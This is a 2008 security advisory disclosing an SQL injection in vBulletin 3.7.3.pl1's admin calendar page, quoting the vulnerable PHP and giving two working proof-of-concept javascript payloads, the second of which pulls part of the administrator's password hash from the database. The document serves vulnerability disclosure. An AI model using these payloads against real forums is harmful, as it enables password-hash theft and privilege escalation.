[waraxe-2008-SA#068] - Sql Injection in vBulletin 3.7.3.pl1

Author: Janek Vind "waraxe"
Date: 17. November 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-68.html

Description of vulnerable software:

vBulletin (abbreviated as vB) is a commercial Internet forum software produced
by Jelsoft Enterprises. It is written in PHP using a MySQL database server.
vBulletin is a professional, affordable community forum solution. Thousands of
clients, including many industry leading blue chip companies, have chosen
vBulletin - It's the ideal choice for any size of community.

Web: http://www.vbulletin.com/


List of found vulnerabilities
===============================================================================

1. Sql Injection in "admincp/admincalendar.php"

Impact: low
Preconditions: attacker must have admin account with calendar administer privileges

Description

Let's have look at "admincp/admincalendar.php" line ~867:

-------------------[original source code]------------------

if($_POST['do'] == 'saveholiday')
{
        $vbulletin->input->clean_array_gpc('p', array(
                'holidayid'   => TYPE_INT,
                'holidayinfo' => TYPE_ARRAY,
                'month1'      => TYPE_INT,
                'day1'        => TYPE_INT,
                'month2'      => TYPE_INT,
                'day2'        => TYPE_INT,
                'period'      => TYPE_INT,
                'title'       => TYPE_STR,
                'description' => TYPE_STR,
        ));
..
$db->query_write("
                UPDATE " . TABLE_PREFIX . "holiday
                SET allowsmilies = " . $vbulletin->GPC['holidayinfo']['allowsmilies'] . ",
                recuroption = '" . $vbulletin->GPC['holidayinfo']['recuroption'] . "',
                recurring = " . $vbulletin->GPC['holidayinfo']['recurring'] . "
                WHERE holidayid = " . $vbulletin->GPC['holidayid']
        );

------------------[/original source code]------------------

As we can see, array-type variable 'holidayinfo' from $_POST will be used in
sql UPDATE query without any sanitization. So sql injection seems to be possible.
Let's find out about exploitability of this security issue.

\|/   PoC #1
/|\  ========

Log in as admin and open holiday manager interface:

http://localhost/vbulletin373pl1/admincp/admincalendar.php?do=updateholiday

Fill in the "title" field (content does not matter).
Next run this javascript via browser URL bar:

javascript:var w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,waraxe=1";document.cpform.submit();

As result, sql error can be seen similar to this:

Database error in vBulletin 3.7.3:

Invalid SQL:

                UPDATE vb_holiday
                SET allowsmilies = 1,
                recuroption = '1|1',
                recurring = 6,waraxe=1
                WHERE holidayid = 2;

MySQL Error   : Unknown column 'waraxe' in 'field list'


\|/   PoC #2
/|\  ========

Log in as admin and open holiday manager interface like in previous test.
Fill in title field. Then execute following javascript:

javascript:var w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,recuroption=CONCAT('|',(SELECT SUBSTR(password,1,5) FROM vb_user WHERE userid=1))";
document.cpform.submit();


As result we can see first five chars of admin's md5 hash:

Recurring Option Every 4ffb6 <<-- first five chars of hash


Possible impact
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fortunately for vBulletin users this sql injection is low-impact.
It's because attacker needs to be admin with calendar administer privileges in order
to exploit this security hole. So basically we have dealing with privilege
escalation exploit, because admin with limited privileges can use sql 
injection for stealing other admin's password hashes and salts from database.
And in case of successful hash cracking attacker may try to impersonate
admin with wider set of privileges. Additionally sql file-related
functionality (LOAD_FILE() for example) can be used by attacker.


Contact:

[email protected]
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Php shell (work in progress): http://phpaxe.com/

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